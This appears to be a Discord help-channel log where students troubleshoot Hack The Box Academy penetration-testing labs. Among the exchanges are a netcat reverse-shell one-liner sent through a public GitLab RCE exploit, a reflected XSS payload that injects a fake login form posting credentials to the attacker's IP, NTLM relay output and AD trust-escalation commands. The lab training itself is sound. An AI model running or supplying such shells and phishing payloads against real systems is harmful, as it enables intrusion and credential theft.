Can I get a hint on Enumerating API section of Advanced XSS and CSRF Exploitation module.
I'm getting error: "NetworkError: Failed to execute 'send' on 'XMLHttpRequest': Failed to load 'http://api.vulnerablesite.htb/v1/sessions'."
I've tried payload without credentials,
I have tried fetching authentication bearer from localStorage but my payload returns null
I have tried payload that makes use of iframe but no luck as well

[fathom pendant]

this may sound silly but is the api.vulnerablesite.htb in your /etc/hosts?

[idle egret]

Hi Guys, I just started the CPTS path and in the Getting Started module, specifically the Privelege Escalation section, I'm trying to transfer the "id_rsa" file to the pwnbox. It seems i'm missing something basic here.

What I've tried: I tried copying the file to the user2 folder, which wroked. From there, I tried copying to the pwnbox which didn't work.

Any help will be appreciated. Thanks

[fathom pendant]

just copy/paste

[jaunty mortar]

I don't believe it's meant to be, the simulation tries to mimick an internal API that's not reachable directly. So the idea is attacker targets http://vulnerablesite.htb, adds XSS payload, wait for admin victim to click on payload which then tries to get internal API http://api.vulnerablesite.htb

[fathom pendant]

cat the file, select it all, ctrl+shift+v --> open a text editor, ctrl+shift+v in the text editor, save

[fathom pendant]

try and see?

[jaunty mortar]

ok will do

[fathom pendant]

either that or your payload has to indirectly reference the API

somehow

[idle egret]

@fathom pendant It worked. It's silly of me not to have thought of it. lol. thank you

[fathom pendant]

in a public server DNS would normally route it, however these aren't public internet servers (even if using a public_ip:port, the domains/vhosts aren't publicly routed

https://tenor.com/view/its-that-simple-booger-brown-the-cowboy-way-easy-piece-of-cake-gif-17822561

[idle egret]

noted. thanks

[fathom pendant]

the only time public servers are involved are when they have you attack inlanefreight.com (these happen on occasion, it is a site owned by HTB for use in pentesting practice, it's registered so you can always access it)

if you hadn't noticed the fictional company inlanefreight LTD keeps popping up in these environments 😉

[idle egret]

Actually I have. I did a recent module lab on it

[fathom pendant]

yup; and I can understand initial hesitation to go after a .com site, but it is 100% allowed :)

idk if they changed a lot of it for the info gathering module, but they had you previously do basic recon/tools like whois; dig queries; etc to get basic info about sites that have a public bounty program and the scope is there

[idle egret]

I'm yet to start the info gathering module so I speak to it

But I'll keep that in mind

[fathom pendant]

imo the update they did clears a LOT of stuff up

and the skills assessment wants you to use practically all the skills and tools from it

i'd say it should take ~ 30 minutes with no hiccups, ~60 minutes if you get hung up on something/start overthinking

[idle egret]

Sure. I looking forward to it

[jaunty mortar]

that didn't work, I think the trick is in bypassing CORS restriction but I have exhausted all tricks I know to bypass e.g. change GET => POST, use <iframe>, remove withCredentials

[fathom pendant]

i haven;t done this module truthfully but i wish you luck in getting an answer ¯_(ツ)_/¯

[ruby ginkgo]

Hi
Module: Attacking Common Applications
Section: Attacking GitLab
Question: gain remote code execution on the GitLab instance? Submit the flag in the directory you land in.
Here, I found the user named Dxxx, could you give me a hint how to find his password? I tired hydra with rockyou.txt but all passwords are false positive.

[wanton idol]

i dont remember on the top of my head but have u tried to see maybe there is a password somewhere in the gitlab?

if u havent already

[ruby ginkgo]

i didnt find anything. i do check that

[wanton idol]

maybe check the version of the gitlab and see if it has any exploits

[ruby ginkgo]

im getting this error tho : listening on [any] 8443 ...
connect to [10.10.14.114] from (UNKNOWN) [10.129.162.93] 54164
bash: cannot set terminal process group (1281): Inappropriate ioctl for device
bash: no job control in this shell
git@app04:~/gitlab-workhorse$ exit

while getting the rce.

using this exploit: https://www.exploit-db.com/exploits/49951

[wanton idol]

well it is a authenticated exploited and since u havent found the correct password for the user which could explain why it fails

[fathom pendant]

it looks like you're typing exit at the end there...

after you get the user@host...

[wanton idol]

or that too

[fathom pendant]

it doesn't look like it fails... it looks like it exits

that error is a standard error for a lot of service accounts with bash

[wanton idol]

ah got it

[fathom pendant]

it just means it doesn't have a profile set ¯_(ツ)_/¯

as most app/services won't have a profile/bashrc

[wanton idol]

true true

[fathom pendant]

i definitely feel like he just saw the bash errors and typed exit after it loaded...

[ruby ginkgo]

no i didnt

[fathom pendant]

well something added the exit command at the end

[wanton idol]

try again and see 🤷‍♂️

[fathom pendant]

at least from the tidbit you showed

[ruby ginkgo]

||python3 rce.py -t http://gitlab.inlanefreight.local:8081 -u Dxx -p pxxxx -c 'rm /tmp/f;mkfi^C /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.114 8443 >/tmp/f '|| well this was the comamnd i used. the rce.py script is : https://www.exploit-db.com/exploits/49951

the acc Successfully Authenticated
but its exit automatically

[wanton idol]

is the ^C part of it?

[ruby ginkgo]

nah

[wanton idol]

just to make sure lol u did copy the command shown on the section since its the same exploit

[ruby ginkgo]

but even after removing ^C i get the same errro tho

yeah i did correclty

[wanton idol]

and it just exits once u connect?

[fathom pendant]

that's weird

[sleek moss]

is cryptography in oscp?

[fathom pendant]

define what you mean by that

cryptography is kinda broad

[sleek moss]

like rsa key and stuff

[fathom pendant]

it can be used to mean password hashing

[fathom pendant]

potentially

[sleek moss]

like decryption like in the brainfuck

[fathom pendant]

no

[ruby ginkgo]

haaaaa yeah damn yes working

[sleek moss]

there was an ecrypted sentence

[fathom pendant]

you won't need to do any advanced decryption

just your standard hex/b64

[sleek moss]

like decryption for this in brainfuck Mya qutf de buj otv rms dy srd vkdof 🙂

Pieagnm - Jkoijeg nbw zwx mle grwsnn

A admin
Apr '17

Xua zxcbje iai c leer nzgpg ii uy...

O orestis
Apr '17

Ufgoqcbje....

Wejmvse - Fbtkqal zqb rso rnl cwihsf

A admin
Apr '17

Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg 🙂

mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja

O orestis
Apr '17

Si rbazmvm, Q'yq vtefc gfrkr nn 😉

Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

like what would yo ucall this kind of decryption?

so i acn learn

[mint peak]

The Active Directory Enumeration & Attacks module has sooo much information. Been working through it and taking notes for three days now 😅

[fathom pendant]

this isn't required for OSCP

reminder: OSCP is an entry cert also this question belongs more in #careers-and-certs not here in the modules channel @sleek moss

[olive chasm]

Hello
Module Introduction to Python 3
Im upto Managing Libraries in Python and trying to install flask with pip but when I try it says error: externally-managed-environment and wont let me progress, What am i doing wrong?

[fathom pendant]

add --break-system-packages

python 3.11+ introduced the "EXTERNALLY-MANAGED" File

you can also remove that file as all it is is a simple flag file

[wraith pelican]

you can install flask with pipx

[spark spruce]

my monthly subscription has expired but still I can use unlimited pwnbox
why?
is there any reason?

[fathom pendant]

because you spent money

yes, that's the legit reason

if you spend any amount of money/have had a subscription you still retain the unlimited pwnbox

[spark spruce]

Will I get this benefit for lifetime? @fathom pendant

[fathom pendant]

yes

[timber hatch]

ReconSpider is causing many error when try to install, anybdoy also hhave/had this problem?

[fathom pendant]

no errors here

you may need to add --break-system-packages if you hadn't deleted the "EXTERNALLY-MANAGED" File in your python install

[timber hatch]

thanks!

[thorn hawk]

good morning/afterrnoon to all. I have some issue with the Web Attack module i can not recreate what is asked during the explanation of the module. It requires us to use this curl command to grep some parts of the html but this is not perform on the live target when i try. curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "/documents.*?.pdf" The HTML code that needs to be grep it does not come up even if it is in the source code when i look manually.

[fathom pendant]

well did you swap out the target:port to the target IP and port?

i,e, 94.234.87.99:36578

[nova snow]

anyone DM for advise on the skills assessment for broken authentication? I'm having some trouble with the 2fa i tried all, brute force, Bypasses, session attack ...

[acoustic owl]

You can send me a DM

[humble ravine]

Hello everyone, I'm having troubles with "INTRODUCTION TO ACTIVE DIRECTORY" module, I'm supposed to connect to a pwnbox and connect via rdp to a windows machine, I can connect and I accepted the certificate but It cannot load the remote machine, just blackscreen untill I get disconnected.

Am I doing something wrong or is pwnbox overloaded right now?

[fathom pendant]

press enter when you get the blackscreen

[humble ravine]

I managed to load after 7th attempt, thanks

is there any way to resize xfreerdp window?

I jst cannot see windows start

[fathom pendant]

you need to use /dynamic-resolution in your xfreerdp

you need to first crack it open before being able to parse it

it's explained, you just didn't read

[humble ravine]

thanks

[fathom pendant]

throw hashcat at it and you'll be surprised

they also show how to grab it via nxc/cme

but it's with secretsdump.py

to extract

https://bond-o.medium.com/extracting-and-cracking-ntds-dit-2b266214f277

generally HTB will show the simpler way

but if you wanna go through the effort of doing it this way; be my guest

it took 5 seconds to google and find an answer

short answer; yes it's likely intentional

considering they give you the cme command that makes it easier

if you want them to add it, submit to #1234357888114364508

[mint peak]

I know it's scheduled maintenance but it still makes me sad. I was in mid command execution and the VM is down now

[fathom pendant]

i'm not aware of any sched maintenance

usually it's at the bulletin at the top

the pwnbox do have lifetimes

[mint peak]

Ongoing US maintenance rn

[fathom pendant]

min 2 hours from you turning it on

this is why I use my own vm ¯_(ツ)_/¯

don't gotta worry about maintenance unless I fuck up ™️

[mint peak]

Nah the target machine pooped the bed

Had to switch to the dirty dirty EU

[fathom pendant]

then don't describe it as a vm, describe it as the target

[split glade]

So on all those machines that get stuck on a black screen with xfreerdp (but not Remmina), apparently pressing Enter once fix the problem, indeed, thanks

[fathom pendant]

vm implies it's the machine you're using

[fathom pendant]

yeah, it's failing to draw the corporate AUP screen

[mint peak]

DonT dEscRibE it As a vM 🤓

Sir this is wendys

[fathom pendant]

just saying; when you say "VM" it implies something different

I and many others will read it as "The VM i am using/pwnbox"

not the target machine

[mint peak]

The target machine is in fact a VM

[fathom pendant]

it is, but that doesn't mean people don't have preconceived ideas of what VM means in relation to academy

"VM is down oh no" --> many people assume you mean the pwnbox

Target is down --> ah, skill issue

it's not about being "technically correct" it's about what words people use to describe the environments

[mint peak]

😐

Go off king

[fathom pendant]

also some of the targets are docker containers

just trying to help you for future, that way people don't get confused when trying to help you

[lofty sparrow]

can someone give me a little nudge for Skills Assessment - File Upload Attacks

[rustic sage]

You need to specifiy which VM, (target or attack) you mean. If you don't, then don't ask a question. It's confusing asf

[mint peak]

not me trying to go through those messeges to find my question, im cooked

[silk minnow]

HTTP ATTACKS - TE.CL

Getting a request timeout from the target even though I used the payload shown in the solutions. Anybody able to help with this?

[rustic sage]

Check your network connection

[safe yoke]

can anyone help me out with this part really confused here

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[normal sand]

Module: AD Enumeration & Attacks
Section: Attacking Domain Trusts - Child -> Parent Trusts - from Linux
https://academy.hackthebox.com/module/143/section/1508

I need a nudge on the end of section question. I've logged onto the attack host, ACADEMY-EA-ATTACK01. I can see there's another machine ACADEMY-EA-DC02, which seems to be a DC. It seems to be the parent DC? (I'm unsure)

[timber hatch]

INFORMATION GATHERING - WEB EDITION
Skills Assessment
What is the API key in the hidden admin directory that you have discovered on the target system?

i tried to bruteforce with ffuf, dns enum and gobuster - but i haven't found a hidden directory. any hint?

[next bronze]

check the domain name and it should be pretty obvious

[normal sand]

The domain name? I tried performing an Nmap scan of ACADEMY-EA-DC02 and it returned the domain ||INLANEFREIGHT.LOCAL|| as part of the report. But that seems to be the parent DC. I was assuming that with this question, we'd be starting off having compromised the child domain?

[next bronze]

did you spawn the target for that section

[normal sand]

Yes, it's spawned two machines, the ones I listed in my initial question.

[next bronze]

right then you should find the child domain to begin the attack

[spark spruce]

DM!

[next bronze]

just checked, DC02 is the child domain DC, you might want to check the output again

[normal sand]

You're right. I just did a script scan and it showed the FQDN.

[normal sand]

So I need to compromise the child domain first before I can perform the ExtraSids attack?

[next bronze]

netexec will output the domain name rightaway btw

[next bronze]

you already have the DA creds, it's the same as the previous section

[normal sand]

Has that tool been covered in the module? I don't think so, right?

[normal sand]

Oh okay, great, thanks.

[next bronze]

pretty sure I've mentioned it a few times before, it's just cme but updated

[normal sand]

Should I just replace cme with netexec then?

[normal sand]

I ran this command which gave me a shell:
||```powershell
raiseChild.py -target-exec 10.129.73.221 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm

However, the shell seems to be for the DC02? Not the parent's DC? I thought this command was supposed to autopwn and provide shell access to the parent DC?

[next bronze]

your target needs to be the parent dc

I'd suggest to check the section again on both the manual and automated methods to understand what they're doing

[next bronze]

yes

[normal sand]

Alrighty

[jolly yacht]

hey, I'm new to htb academy. if i hover over this highlighted text will it show some info about it in a small box kind of? its mentioned that it will show some info in this section but if i hover over the highlighted text in yellow it nothing is showing up. I mean , am i missing something or it is just a highlighted text?

[stone verge]

Hi, is it possible to see on a website which usings a ai tool in the background, to see the prompt and so on?

[coral apex]

Hi,
Module: Information Gathering - Web Edition
Section: Skill Assessment
Question: "After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., [e-mail]."
I'm using ffuf and zaproxy and I was fuzzing http://inlanefreight.htb:port/FUZZ url with these seclist wordlist: common.txt, big.txt, directory-list-2.3-medium.txt but with no luck. I did the same for subdomain and hidden admin directory.
What am I missing? 😄 Can someone share a hint?

[next bronze]

you can see it in the "Which" paragraph if you scroll up a bit

[jolly yacht]

yeah, now i have some idea of how it works. Thank you.

[spark spruce]

DM!

[fathom pendant]

<@&861185840277487616> at this point I swear they're a bot

[acoustic owl]

Thanks, I'll keep an eye on that

[fathom pendant]

They do the same in the parrot discord but haven't said anything

[coral apex]

Thanks for help 🙂

[cunning cape]

hey, having issues submitting commands on mysql. screenshot attached, looks correct from my previous notes. any ideas?

like it's not coming back as an error, just to a new line. I remember mysql being awkward

lol never mind. exited mysql and logged back in and it's working fine now

[gusty patio]

SQL INJECTION FUNDAMENTALS
Intro to MySQL

Why cant i connect to the sql server??

mysql -u root -h Target_ip -P Target_port -p
bash: mysql: command not found

[placid quest]

@gusty patio Install mysql

[gusty patio]

even on the machine?

[placid quest]

@gusty patio On you attacking machine

[gusty patio]

shouldnt the pwnbox have it pre installed? I can see a file named mysql_config but thats about all

[bright coral]

#710108839063846964 message

[next bronze]

did the upate break it

[gusty patio]

i can connect thanks for the help

[icy cypress]

Hi, do I need to perform OSINT: Corporate Recon in order to take the Penetration Testing Certification exam?

[shut quest]

Is it part of the penetration path?

[wanton estuary]

Have you finished the skill assessment?

[icy cypress]

On the exam page, OSINT isn't mentioned, but it does appear under the job role of a Penetration Tester.

[shut quest]

Is it part of the job roll path to complete as a requirement of the exam?

[icy cypress]

On the exam page, the module isn't mentioned, but it states that I need to follow the Penetration Tester path, and on the Penetration Tester page, OSINT is listed.

[tranquil axle]

you don't need to finish the OSINT module, a little bit of osint is mentioned here and there throughout the course(like in the information gathering module)

[next bronze]

https://academy.hackthebox.com/paths/jobrole
where do you see the osint module listed under the Penetration Tester path?

[icy cypress]

https://academy.hackthebox.com/module/90/section/1559

[clever jewel]

Hi guys

I am writing for XSS phishing on HTB

My payload is this but when I want to send it via send.php, it says "issue with the URL"
What can I do now?

http://SERVER-IP/phishing/index.php?url='><script>document.write('<h3>Please+login+to+continue<%2Fh3><form+action%3Dhttp%3A%2F%2FMY-IP%3A8000><input+type%3D"username"+name%3D"username"+placeholder%3D"Username"><input+type%3D"password"+name%3D"password"+placeholder%3D"Password"><input+type%3D"submit"+name%3D"submit"+value%3D"Login"><%2Fform>')%3Bdocument.getElementById('urlform').remove()%3B<%2Fscript><!--

Note: I remove server and client IPs

[next bronze]

did they say you need those modules for cpts?

https://academy.hackthebox.com/preview/certifications/htb-certified-penetration-testing-specialist/certification-steps

[icy cypress]

No, my bad, thx for the help.

[next bronze]

you'll just need to complete the Penetration Tester job-role path

[shut quest]

Wrap your code in triple back ticks,,

```
<Code goes here />
```

<Code goes here />

It's easier to read and prevents formatting clobber.

[cunning frigate]

https://academy.hackthebox.com/module/84/section/1747

Using CrackMapExec - Skill Assesment

I have used ||drop-sc|| and have ||ntlmrelay|| on but it does not output any hashes

[*] Servers started, waiting for connections
[*] SMBD-Thread-4 (process_request_thread): Received connection from 10.129.204.182, attacking target smb://172.16.15.15
[*] Authenticating against smb://172.16.15.15 as INLANEFREIGHT/JAMES SUCCEED
[*] SMBD-Thread-6 (process_request_thread): Received connection from 10.129.204.182, attacking target smb://172.16.15.20
[-] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Authenticating against smb://172.16.15.20 as INLANEFREIGHT/JAMES SUCCEED

[next bronze]

ntlmrelayx does relaying as the name suggests, there's another tool that can capture the hash instead

[cunning frigate]

Thanks I will use that got confused from the module instructions

As for other who checks later:
Yes it worked and no need for proxychains

[silk minnow]

its not the network connection...

[fleet saddle]

hi, anybody completed the HTTP Misconfiguration Skill Assessment - Hard? can i get a nudge?

[earnest fern]

hello how do i get permission to talk in general channel and pwnbox?

[acoustic owl]

Read and follow #welcome

[spice fulcrum]

Connect Scan
The Nmap TCP Connect Scan (-sT) uses the TCP three-way handshake to determine if a specific port on a target host is open or closed. The scan sends an SYN packet to the target port and waits for a response. It is considered open if the target port responds with an SYN-ACK packet and closed if it responds with an RST packet.

The Connect scan is useful because it is the most accurate way to determine the state of a port, and it is also the most stealthy. Unlike other types of scans, such as the SYN scan, the Connect scan does not leave any unfinished connections or unsent packets on the target host, which makes it less likely to be detected by intrusion detection systems (IDS) or intrusion prevention systems (IPS). It is useful when we want to map the network and don't want to disturb the services running behind it, thus causing a minimal impact and sometimes considered a more polite scan method.

it says TCP scan is more stealthy compared to SYN scan. Isnt this wrong? I thought TCP scan is more likely to get detected since it completes the threeway handshake. I googled online and most ppl says the same as me. am I misunderstanding some here?

[swift carbon]

amazing module. shout out to 21y4d for the awesome content

[topaz zenith]

so burpsuite is just not reaching the box on the Exam now for me, I have pinged it nmapped it, gone to it on my own browser. Any ideas?

[swift carbon]

i had issues reaching some targets using the US vpn pack recently. not sure if it's possible on the exam, but if you can it might worth regenerating your ovpn file in the eu region instead

[topaz zenith]

Appreciate it, downloaded a new vpn file but didn't think about that

Yeah still not working lol

[lilac warren]

new to cyber security
feeling lost... don't where to start

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[wanton idol]

restart your box and if it still fails reach out to support

games would be ctfs. platform hackthebox. hope this helped

[next bronze]

I doubt it's a problem with the exam env, if they can reach the web server then the env is good

probably something with burp

[sour notch]

Hi there, is anyone having issues with the PASSWORD ATTACKS windows machines? it keeps in Target(s) are spawning forever 😦

[wanton idol]

https://app.hackthebox.com/home or https://tryhackme.com/r/hacktivities/practice

[runic depot]

xsltproc, rename the target using mv target target.xml then run the command and drag the xml into firefox. just putting this here

[kindred dawn]

Hey guys, Im having a little bit of a hard time understanding what chisel and proxychains is used for. Its in the Pass the ticket LINUX Section of the PASSWORD attacks Module, (Using Linux Attack Tools with Kerberos). Thanks in advance for any help

[gaunt olive]

Hello people, I need help with hacking an Instagram account which is trying to impersonate my friend. Need to hack his I'd and delete my photos

[next bronze]

no

[next bronze]

you can use them to access hosts that are in another network that you have no access to

[warm portal]

also no

[rich crescent]

hey guys, I'm trying to perform an Nmap scan on a target IP, but I'm encountering issues. When I run sudo nmap -sV IP, it shows the host is down. Using -Pn shows the host is up, but all ports are filtered. Scanning port 80 with sudo nmap -sV -Pn -p 80 IP shows it as filtered without displaying the service version. My local firewall (ufw) is inactive, how can i solve this?

[runic depot]

why do i always see someone in here with google or instagram hacking stuff. i don't know jack bout that

[fathom pendant]

Because people just look up "hacking" in server discovery

[runic depot]

is this in the nmap section? i am on service enumeration right now

[kindred dawn]

Yes, although in the module, they use proxychains AND chiesel, but never showed why we used proxychains...

[runic depot]

makes sense

[next bronze]

proxychains is used to tunnle traffic through chiesel

[kindred dawn]

So, from my attacking machine: I configured proxychains as socks5 localhost and port 1080. Then set up a chisel reverse server and connect back from the jump host. So now, should I be able to access the linux machine? (which is part of the network of MS01/jumphost). And also, from which part /how does chisel uses proxychain in that scenario?

[runic depot]

im not impressive enough to do instagram hacking stuff, i just look at splunk and mft and $j

[rich crescent]

yes it's in the nmap section, i had some issues dealing with this. i already uses the htb vpn but the result still filtered and the scan time took so long

[runic depot]

which sub module

[kindred dawn]

Here is how I see it, but I dont understand how proxychain is used by chisel

[rich crescent]

Pentesting Basics : Service Scanning

[next bronze]

chisel creates the socks tunnel, proxychains gets whatever program that you're running to use that tunnel

they will explain more in the Pivoting, Tunneling, and Port Forwarding module

[runic depot]

can you link that, i can't find it

[kindred dawn]

Okay thanks... cus in this module im kinda confused they just put you on the spot

[rich crescent]

https://academy.hackthebox.com/module/77/section/726

[kindred dawn]

Ohhh I see now! So basically proxychains uses the chisel tunnel, so it can access hosts in another network ex:

[fathom pendant]

Well don't worry about hacking ig accounts because it's illegal lol

[runic depot]

ah ok, i skipped that to get to Nmap (next module), i need to go back, i thought it was going to be pretty short

[fathom pendant]

Pentesting basics isn't a module btw

[fathom pendant]

You generally shouldn't skip modules in the path

[kindred dawn]

marcielee hacks ig accounts

when she's bored

[fathom pendant]

I hack into your mother's room

[kindred dawn]

That's unfortunate

[rich crescent]

ohh sorry, i didn't know it wasn't a module

[fathom pendant]

It's called getting started

[kindred dawn]

Marcielee the type of person to simswap her exes

[dim wolf]

huh?

[next bronze]

huh?

[rich crescent]

btw do you guys know how to solve the issues?

[fathom pendant]

The module name is "Getting Started" btw

[kindred dawn]

yeah there's a nice blog at : http://127.0.0.1/

[fathom pendant]

Make sure you only have 1 vpn running, don't use pwnbox and vpn at the same time

[fathom pendant]

Please don't troll people that legitimately need help with learning

[kindred dawn]

Its just a small tiny joke :/

Ok ill stop cus i need help too

[fathom pendant]

Still not funny

[dim wolf]

there is a time and place

#general 24/7

[fathom pendant]

^

[kindred dawn]

oh yeah that's right

[rich crescent]

yeah i only use the openvpn one and it still not working. should i use the parrot from the htb instead of kali?

[fathom pendant]

Kali should work

Try: resetting the target, changing VPN regions
Optional: pray to a higher power, pray to a lower power

[kindred dawn]

do ps aux | grep openvpn in terminal

check if you have only one connection or multiple

and you should also try running the openvpn file as sudo : sudo openvpn <name>.ovpn

[fathom pendant]

He would get a "no route to host" error if he couldn't at least connect to it

I suggest also sudo killall openvpn then rerunning the connection

[rich crescent]

it finally works, thanks guys

[fathom pendant]

You need to link your htb labs account following #welcome

[fathom pendant]

This has nothing to do with htb

I suggest deleting these images as they're completely irrelevant

These are fake support messages

So just ignore

Only what you enter

They could steal cookie/token data maybe

https://www.facebook.com/help/2761108904184084

Best practice: don't click suspicious links or emails

Just ignore and move on

Yes that's how discord works

[solar zodiac]

yep 🙂

[fierce dock]

Hello I have a question, why would someone want to convert a wordlist such as rockyou.txt in kali to utf-8? What are the advantages of doing this?

Don't know if this is the right server to ask?

[wanton estuary]

Is it okay if I Dm? I'm stuck on the rce after trying both methods

[solar zodiac]

sure

[solar zodiac]

I think that depends on what you're using the wordlist for

[fierce dock]

A lab I set up from vulnhub

[solar zodiac]

I think it varies from application to application

or OS to OS

[fierce dock]

Yeah, I'm struggling to understand when and why to convert to utf 8 I'm still begginer/intermediate

[solar zodiac]

I'm honestly not sure why kali wouldn't be able to parse and make use of both wordlists.

like when you're making a download cradle on kali to run on windows, you have to encode it in UTF 16 I think

I could be wrong with the UTF value chosing

honestly im not the best person to ask so I'll be quiet lol

[fierce dock]

Thanks for helping though appreciate it

[main spear]

Hello, can someone help me with ligolo ? i would like to do a double pivot but unfortunately i can't make it to work with only ligolo, do you use an other solution ? it is for the module attacking enterprise network

[fathom pendant]

Ligolo works fine for me in double pivots. I practiced it on the double pivot section in the pivoting module first

You need to have a listener on the first host you have ligolo running on point back to you, then on the second host you need to have it connect to the first host:port you are forwarding

https://medium.com/@issam.qsous/mastering-multi-pivot-strategies-unleashing-ligolo-ngs-power-double-triple-and-even-quadruple-dca6b24c404c

With newer versions you need to set up multiple tunnels if you want multiple concurrent sessions

[static roost]

#Module: Introduction to C#
#Section: Arrays

End of section question. Obviously getting the answer wrong. Seems simple. No clue what I'm missing here. Using semicolon. Tried several variations. Any help here would be greatly appreciated.

nvm got it

[strange forge]

how to save output of cmd into a text file. findstr /spin "password" . . iam not able to copy, any suggestions to filter result

[split glade]

https://stackoverflow.com/questions/503846/how-do-i-echo-and-send-console-output-to-a-file-in-a-bat-script#4588136 ?

[next bronze]

it's kinda dumb but there should be no spaces in the answer

[zealous rune]

`─[zuuuttt@parrot]─[~/htb_cpts/modules/password_attacks]
└──╼ $proxychains evil-winrm -i dc01.inlanefreight.htb -r inlanefreight.htb
ProxyChains-3.1 (http://proxychains.sf.net)

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
|DNS-request| DC01.inlanefreight.htb
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<--timeout
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<--timeout
|DNS-response|: DC01.inlanefreight.htb does not exist

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure. Minor code may provide more information
Invalid argument

Error: Exiting with code 1
`

[fathom pendant]

you need to add DC01 to your /etc/hosts

it also looks like your proxychains is proxying through a public IP

[zealous rune]

been added. don't understand why it is dns'ing for the address

[next bronze]

wait I've seen this one before

[fathom pendant]

is it in your hosts list as DC01.inlanefreight.htb?

[fathom pendant]

oh?

[next bronze]

same problem here

[zealous rune]

172.16.1.10 inlanefreight.htb inlanefreight dc01 dc01.inlanefreight.htb 172.16.1.5 ms01.inlanefreight.htb ms01

[next bronze]

but idk how they solved it

[fathom pendant]

pspsps @fringe urchin

they seem to be having the same issue you did

My way of solving it: use ligolo

[zealous rune]

/etc

use ligolo?

[fathom pendant]

ligolo-ng is a pivoting tool that's (imo) better than chisel/dynamic forwarding that requires proxychains

[zealous rune]

ah ok

I'll check it tomorrow

gotta go bed now. thx again for the hints

[fringe urchin]

Lol

[fringe urchin]

Yea seems like same issue as i had. . i shut down my pc and came next day back and it worked
Just pain

But yea just learn ligolo way less pain in later modules aswell from what i heard

[fringe urchin]

[fathom pendant]

Solution: just turn it off and on again 🗿

[split glade]

ligolo-ng >>> create a tunnel with plastic cups and a string > other tools

[fringe urchin]

write that down, write that down

[astral dawn]

Does anyone know what USDT/Erc 20 Flashing is i know it works altough 90% is somoene trying to get you to install a Keylogger. i thought in the area of maybe Flash loans in combination with RBF could anyone explain how it works?

[fathom pendant]

Google that shit as keyloggers aren't covered in htb academy

Be mindful of #rules and if you wanna chat in other rooms, read and follow #welcome

[astral dawn]

read correctly im not rying to make a keylogger

[dim wolf]

this isn't the place to be asking about that stuff

[fathom pendant]

My point is, keyloggers aren't covered by academy

[astral dawn]

where could i ask?

[fathom pendant]

#hardware-iot-ics

[dim wolf]

find a relevant channel, verify your account -> #welcome

[fathom pendant]

But you need to actually read and follow #welcome to access

[astral dawn]

looked all around the internet but no one could help me

[astral dawn]

yea im sorry on it

[fathom pendant]

Sounds like an issue with your question then

[astral dawn]

?

[ocean night]

Sounds pretty sketch..

If it sounds too good to be true, it usually is

[fringe urchin]

I wrote one for my bachelor

[fathom pendant]

If you can't find your answer by googling, then the issue is you're asking the wrong question

[astral dawn]

i know it works cause i tried it

[fringe urchin]

[astral dawn]

it has something to do with an exodus bug and RBf

[fathom pendant]

Brother

You're not gonna find answers in this channel

[obsidian belfry]

Hey all. Currently working on Premature Session Population in the "Abusing HTTP Misconfigurations" module. I followed every steps shown exactly in the section but still can't bypass auth. Any nudges would be appreciated. thanks.

[pine dune]

yo @fathom pendant I got a question 😅

im trying to brute force vhosts on the information gathering module, however its not working 😅

[sweet jewel]

error msg? and the command you ran

[pine dune]

ok let me show u

@sweet jewel

[sweet jewel]

i've only ever used gobuster vhost with the domain passed to -u, i don't know if that matters tho

try running with --verbose

https://github.com/OJ/gobuster?tab=readme-ov-file#vhost-mode

  --domain string         the domain to append when using an IP address as URL. If left empty and you specify a domain based URL the hostname from the URL is extracted

[dusky gyro]

Not sure how I go about fixing this issue, but sqlmap doesn't work properly on my kali vm but on pwnbox it works fine, always get connection timed out on the url. Both using the same command, any thoughts if its my hyper-v or something blocking my vm?

[split glade]

Can you give more info, like, if you can access the same url from a web browser on your VM?

[dusky gyro]

yup can access both on the vm and the pwnbox

vm sqlmap version is 1.8.6.3#dev where as pwn is 1.8.3#stable, maybe issue is in this?

[split glade]

Then a screenshot of the sqlmap command with the result? Did you try to run sqlmap with -v 6?
Oh you're running a dev version? Why?

[sweet jewel]

probably not the issue, the only real difference is the latency between your box and the target is higher than from the pwnbox

try increase the timeout?

[dusky gyro]

yup ran with -v 6, and gonna try increasing timeout

[static roost]

yea I got it

[dusky gyro]

still [Critical] connection timed out with a --timeout=240 lol

[sweet jewel]

could u show the entire command output, and the cmd u ran

run a curl in the same screenshot just incase

[crimson moon]

In metasploit path, meterpreter module while trying to spin up msf I’m getting an error while checking “db_status”
Error: postgresql selected, no connection

I have tried solutions from the other forums and what not but this doesn’t seem to get connected to the database

Tried deleting msfdb and changing port on database.yml file but to no avail. Also, the service is up and running for postgresql.

If anybody has encountered this same problem how did you go about fixing it?

[sweet jewel]

no idea 😆

[next bronze]

my kali works with the same sqlmap version

you can run it through a proxy or wireshark if you want to know why

[dusky gyro]

1.8.6.3#dev or pwnbox stable version?

[next bronze]

also some AV might be blocking the requests

[next bronze]

dev

[spring ivy]

Hi people, in the SQL Injection module in HTB Academy, I have to use mysql to connect to a remote server, but in the pwn box machine there is only mysql_config package. I tried to install mysql, but failed. Can someone help me?

[dusky gyro]

hmm maybe adding an windows defender exclusion to my VM might help?

[next bronze]

defender shouldn't block it

[next bronze]

default-mysql-client

[dusky gyro]

solved it, needed to add a --random-agent to my kali VM where the pwnbox somehow resolves it someway

thanks for the helps all

[clever topaz]

anyone can help me with LPE - log rotate? my payload wont work been stuck on this for 3 days

[ivory nymph]

